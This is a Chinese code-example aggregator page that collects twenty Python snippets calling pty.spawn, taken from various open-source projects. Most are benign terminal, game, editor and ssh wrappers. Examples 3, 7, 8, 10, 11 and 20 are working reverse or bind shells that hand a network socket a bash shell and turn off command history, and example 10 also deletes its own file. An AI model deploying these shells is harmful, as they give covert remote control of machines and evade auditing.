本文整理汇总了Python中pty.spawn函数的典型用法代码示例。如果您正苦于以下问题:Python spawn函数的具体用法?Python spawn怎么用?Python spawn使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了spawn函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。
示例1: sheller
def sheller(arg):
global shell, shell_input_reader, shell_output_writer
os.dup2(shell_input_reader, 0)
os.dup2(shell_output_writer, 1)
os.dup2(shell_output_writer, 2)
while True:
pty.spawn('/bin/bash')
开发者ID:felix021,项目名称:mycodes,代码行数:7,代码来源:shellsvr.py
示例2: run_interactive
def run_interactive(cmd):
status = 'success'
result = None
print('Recording {}. Send EOF (^D) to end.'.format(cmd), end='\n\n')
# This is mostly taken from the stdlib's `pty` docs
with io.BytesIO() as script:
def read(fd):
data = os.read(fd, 1024)
script.write(data)
return data
# TODO: update this with try/except clauses as we find exceptions
pty.spawn(cmd, read)
try:
result = script.getvalue().decode(encoding='utf-8')
except UnicodeDecodeError:
result = script.getvalue().decode(encoding='cp437')
print('\nSubmission recording completed.')
runagain = input('Do you want to run the submission again? [y/N]: ')
again = runagain.lower().startswith('y')
return (status, result, again)
开发者ID:StoDevX,项目名称:cs251-toolkit,代码行数:27,代码来源:run.py
示例3: main
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
开发者ID:j3ers3,项目名称:PySec,代码行数:28,代码来源:reverse_shell.py
示例4: play
def play(self, **kwargs):
shape = (25, 80)
self.glyphs = numpy.zeros(shape, int)
self.reverse = numpy.zeros(shape, bool)
self.bold = numpy.zeros(shape, bool)
self._raw = ''
self._term = ansiterm.Ansiterm(*shape)
self.command = None
self._need_inventory = True
self._more_inventory = False
self.messages = collections.deque(maxlen=1000)
self.stats = {}
self.inventory = {}
self.spells = {}
opts = dict(character=random.choice('ran wiz'.split()),
gender=random.choice('mal fem'.split()),
race=random.choice('elf hum'.split()),
align=random.choice('cha neu'.split()))
opts.update(kwargs)
handle = tempfile.NamedTemporaryFile()
handle.write((self.OPTIONS % opts).encode('ascii'))
handle.flush()
os.environ['NETHACKOPTIONS'] = '@' + handle.name
pty.spawn(['nethack'], self._observe, self._act)
开发者ID:detly,项目名称:asyncnethack,代码行数:32,代码来源:nethack.py
示例5: share
def share(self):
# XXX: Not very pythonic >:(
log.debug("Establishing XMPP connection")
if not self.xmpp.connect():
die("Could not connect, see xmpp.log for details")
# Join all rooms
muc_plugin = self.xmpp.get_plugin('xep_0045')
log.debug("Joining rooms: {}".format(self.config.strategy['rooms']))
for room in self.config.strategy['rooms']:
muc_plugin.joinMUC(room, self.config.options['nick'])
# Process XMPP events in another thread
log.debug("Spawning XMPP worker")
self.xmpp.process()
'''
Spawn a new shell in a pseudo terminal, pty polls with select()
and notifies LineReader when data is available. There's an annoying
bug right now; pty doesn't know when to die because it never
gets EOF. Idk how to deal with this but you can just hit crlf twice
after exiting the shell.
'''
log.info("@[email protected] You are being watched @[email protected]")
pty.spawn(self.config.options['shell'], self.reader.read)
log.info("X_X You are alone again X_X")
# Close XMPP connection
# XXX: If I didn't set send_close=False here, this took a long time
# to exit. My guess is that hipchat doesn't properly respond to the
# stream footer but idk.
log.debug("Tearing down XMPP connection")
self.xmpp.disconnect(send_close=False)
开发者ID:r1b,项目名称:hipshare,代码行数:33,代码来源:__init__.py
示例6: __init__
def __init__(self, cmdv, tee_fd=None, silent=False, verbose=False):
if tee_fd is None:
self.tee = StringIO()
self.internal_fd = True
else:
self.tee = tee_fd
if silent == True:
self.silent = ''
else:
self.silent = silent
if verbose:
print('+', ' '.join(cmdv))
#
## python lambda is the only way to look into the surrounding scope.
## But then python lambda cannot do anything except a simple expression.
## hence we need both
## a method
## which can have assignments and multiple statements, but cannot see the scope.
## and a lambda
## which sees the scope, but cannot have assignements and multiple statements.
## and we need to pass in a reference, so that it is mutable from inside.
## using a one element array.
## Total: three ugly hacks, that would be a plain anonymous sub {} in perl.
import pty
# FIXME: this code has better signal handling than pty.spawn:
# http://code.google.com/p/lilykde/source/browse/trunk/runpty.py?r=314
# FIXME: sudo needs to reprompt for a password, when behind a pty
pty.spawn(cmdv, lambda fd: self.tee_read(fd))
开发者ID:pombreda,项目名称:osc-plugin-install,代码行数:29,代码来源:osc-install.py
示例7: main
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
s.close()
开发者ID:najeex,项目名称:backdoor-handler,代码行数:9,代码来源:backdoor-pty.py
示例8: main
def main():
s = sctpsocket_tcp(socket.AF_INET)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
开发者ID:BaldyBadgersRunningRoundMyBrain,项目名称:python-pty-shells,代码行数:9,代码来源:sctp_pty_backconnect.py
示例9: terminal2
def terminal2(self, cpid):
"""
This function takes a pid of a running container and opens it in
xterm if its available
"""
nsenter = ('sudo nsenter -m -u -n -i -p -t {0} /bin/bash'.format(cpid))
if os.getenv('DISPLAY', "") == "":
pty.spawn(nsenter.split())
else:
mycommand = "xterm -T {0} -e {1}".format(cpid, nsenter)
subprocess.Popen([mycommand], stdout=subprocess.PIPE, shell=True)
开发者ID:aweiteka,项目名称:containerctl,代码行数:11,代码来源:docker-dash.py
示例10: main
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
os.putenv("HISTSIZE", 0)
pty.spawn("/bin/bash")
s.close()
os.remove('/tmp/.x.py')
开发者ID:Arryboom,项目名称:x386,代码行数:11,代码来源:py_udp_backconnect.py
示例11: main
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('', lport))
s.listen(1)
(rem, addr) = s.accept()
os.dup2(rem.fileno(),0)
os.dup2(rem.fileno(),1)
os.dup2(rem.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
开发者ID:1362288910,项目名称:python-pty-shells,代码行数:11,代码来源:udp_pty_bind.py
示例12: gpg
def gpg(*args):
argv = ['gpg'] + list(args)
for n in xrange(3):
pty.spawn(argv)
pid, status = os.wait()
status = os.WEXITSTATUS(status)
if status == 0:
break
else:
print 'Failure running', ' '.join(argv)
sys.exit(status)
开发者ID:br0ns,项目名称:vcsh-secret,代码行数:11,代码来源:secret.py
示例13: join
def join(self, new_tty=False):
"""Although this is designed for fooling processes (like su) to read
from stdin when it's not a tty, it seems to work OK to avoid pty
ownership issues."""
args = ['screen', '-r', self.name]
if new_tty:
# TODO:
# Can we do this less hackily? I think it messes up the console
# because it doesn't fully replace streams. Dup2?
pty.spawn(args)
else:
self._pipe(args).wait()
开发者ID:bnkr,项目名称:craftrun,代码行数:12,代码来源:screen.py
示例14: main
def main(args):
parser = argparse.ArgumentParser(description="Demonstrate commands on demand.")
parser.add_argument('script', help='The script to draw commands from.')
parser.add_argument('command', nargs='+',
help='The interpreter (including any arguments to it)'
'to run the lines from script in.')
options = parser.parse_args(args)
script_reader = make_reader(options.script)
pty.spawn(options.command, stdin_read=script_reader)
开发者ID:RadicalZephyr,项目名称:demonstrate.py,代码行数:12,代码来源:demonstrate.py
示例15: spawn_vim
def spawn_vim(vim_command='vim', rcfiles=[], files_to_edit=[]):
import pty
command = [vim_command, '-u']
if rcfiles:
command.extend(rcfiles)
else:
command.append('NONE')
command.extend(files_to_edit)
pty.spawn(command)
开发者ID:gotcha,项目名称:vimrobot,代码行数:13,代码来源:vimdriver.py
示例16: __init__
def __init__(self, host="localhost", username="root"):
(self.master, self.slave) = pty.openpty()
(self.pid, self.fd) = pty.fork()
if self.pid == 0:
pty.spawn(["ssh", "%[email protected]%s" % (username, host)], self.master_read, self.slave_read)
else:
attr = fcntl.fcntl(self.fd, fcntl.F_GETFL)
attr |= os.O_NONBLOCK
fcntl.fcntl(self.fd, fcntl.F_SETFL, attr)
self.outputLock = thread.allocate_lock()
self.running = True
self.outputText = ""
self.outputPresent = False
thread.start_new_thread(self.keepReading, ())
开发者ID:rohtakdev,项目名称:gtalk-terminal,代码行数:14,代码来源:__init__.py
示例17: run
def run(user, cmd, interactive=False):
'''
Run ``cmd`` as ``user``. If ``interactive`` is True, save any curses status
and synchronously run the command in foreground. Otherwise, run the command
in background, discarding any output.
special user -2 means: current user
'''
prefix = []
cur_uid = os.getuid()
try:
cur_user = pwd.getpwuid(cur_uid).pw_name
except:
cur_user = cur_uid
if user != cur_user and user != -2:
if cur_uid == 0:
prefix = ['su', user]
if user == 'root':
prefix = ['sudo']
else:
prefix = ['sudo', '-u', user]
if interactive:
# Prepare screen for interactive command
curses.savetty()
curses.nocbreak()
curses.echo()
curses.endwin()
# Run command
pty.spawn(prefix+cmd)
# Restore screen
curses.start_color() # load colors
curses.use_default_colors()
curses.noecho() # do not echo text
curses.cbreak() # do not wait for "enter"
curses.curs_set(0) # hide cursor
curses.mousemask(curses.ALL_MOUSE_EVENTS)
curses.resetty()
else:
with open('/dev/null', 'w') as dev_null:
subprocess.Popen(
prefix+cmd,
stdout=dev_null,
stderr=dev_null,
close_fds=True,
)
开发者ID:jianyu-,项目名称:ctop,代码行数:49,代码来源:cgroup_top.py
示例18: shellUnix
def shellUnix(fdr, fdw):
# fork it is
pid = os.fork()
if pid:
return pid
else:
# redirect stdin/stdout/stderr to our pipes
os.dup2(fdw[0],0)
os.dup2(fdr[1],1)
os.dup2(fdr[1],2)
# execute shell - with PTY
pty.spawn("/bin/sh")
开发者ID:f0r34chb3t4,项目名称:tools,代码行数:15,代码来源:bc.py
示例19: spawn_shell
def spawn_shell(username):
"""
Detach from the controlling terminal, change UID to that of username
and spawn a shell in their home directory.
"""
passwd_file = read_passwd()
if not username in passwd_file:
log("Account not found.")
return False
user = passwd_file[username]
uid = user[1]
gid = user[2]
home_dir = user[4]
shell = user[5]
log("Defining environment.")
os.environ["HOME"] = home_dir
os.environ["USER"] = username
os.environ["SHELL"] = shell
screen = _curses.initscr()
terminal_width = screen.getmaxyx()[1]
_curses.endwin()
os.environ["COLUMNS"] = str(terminal_width)
if not "TERM" in os.environ:
os.environ["TERM"] = "dumb"
log("Changing UID")
os.setgid(int(gid))
os.setuid(int(uid))
if not os.path.isdir(home_dir):
home_dir = "/"
log("Moving into %s" % home_dir)
os.chdir(home_dir)
log("Detaching from TTY")
log("Spawning shell.")
pty.spawn(shell)
if os.path.isfile("/usr/bin/clear"):
os.system("clear")
return True
开发者ID:LukeB42,项目名称:microauth-login,代码行数:47,代码来源:login.py
示例20: main
def main(port):
try:
port = int(port)
except ValueError:
print ("This does not seem to be a valid number.")
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.IPPROTO_IP, socket.SO_REUSEADDR, 1)
s.bind(("", port))
s.listen(1)
(conn, address) = s.accept()
for x in range(3):
os.dup2(conn.fileno(), x);
pty.spawn("/bin/bash")
s.close()
开发者ID:alex314159,项目名称:SecurityTools,代码行数:18,代码来源:linux_bind_shell.py
注:本文中的pty.spawn函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论